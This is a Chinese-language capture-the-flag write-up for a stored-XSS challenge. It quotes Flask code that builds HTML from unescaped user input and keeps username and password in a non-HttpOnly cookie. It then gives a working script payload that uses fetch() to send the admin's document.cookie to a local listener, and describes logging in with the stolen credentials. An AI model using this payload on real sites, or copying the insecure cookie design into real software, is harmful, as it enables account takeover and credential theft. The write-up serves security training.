题目简介 一个攻击者的目标可能是完全接管受害者账户,这需要认证信息,该信息常存储在cookie中,如果能够拿到cookie,就可以绕过服务端的身份认证,这一关将登录用户的信息存储在了cookie中
漏洞点分析 首先看server端的源码
1 2 3 4 5 6 7 8 9 10 if user: page += """ <form action=draft method=post> Post:<textarea name=content>Write something!</textarea> <input type=checkbox name=publish>Publish <input type=submit value=Save> </form><br> <form action=publish method=post><input type=submit value="Publish All Drafts"></form> <hr> """
在发布帖子时,直接拼接用户输入,因此存在XSS漏洞。首先考虑能不能跟XSS-5和6一样,重定向admin用户,让它自己把帖子发出来,但是看到/publish路由下存在校验:
1 2 if username == "admin" : flask.abort(400 , "pwnpost no longer supports admin posting due to rampant flag disclosure" )
因此无法再通过类似前两题的方式泄露flag,根据题目提示需要我们泄露admin的cookie,再看一下设置cookie的逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def challenge_login (): username = flask.request.form.get("username" ) password = flask.request.form.get("password" ) if not username: flask.abort(400 , "Missing `username` form parameter" ) if not password: flask.abort(400 , "Missing `password` form parameter" ) user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?" , (username, password)).fetchone() if not user: flask.abort(403 , "Invalid username or password" ) response = flask.redirect("/" ) response.set_cookie("auth" , username + "|" + password) return response
由于flask默认不开启httponly,因此可以结合XSS漏洞,通过Javascript的document.cookie属性获取cookie
漏洞利用 根据上述分析,首先要完成XSS注入,之后诱导admin用户访问网页,此时网页会执行注入的js代码,将cookie发到攻击者的服务器 具体步骤如下: 首先以guest身份登录,在发帖区填入恶意payload
1 <script > fetch ("http://localhost:12345" ,{method :'POST' ,body :encodeURIComponent (document .cookie )})</script >
点击提交后,开启接收cookie的服务,此题中在本地开放一个端口即可,尽量选择端口号大一些的,防止被已有进程占用:
之后运行challenge/victim脚本,模拟受害者访问网页的步骤,此时即可在监听端口处看到返回的cookie: cookie里包含着admin的口令(其实是flag的倒数20个字符),URL解码之后再次去浏览器以admin身份登录,可以看到其名下的草稿(即flag)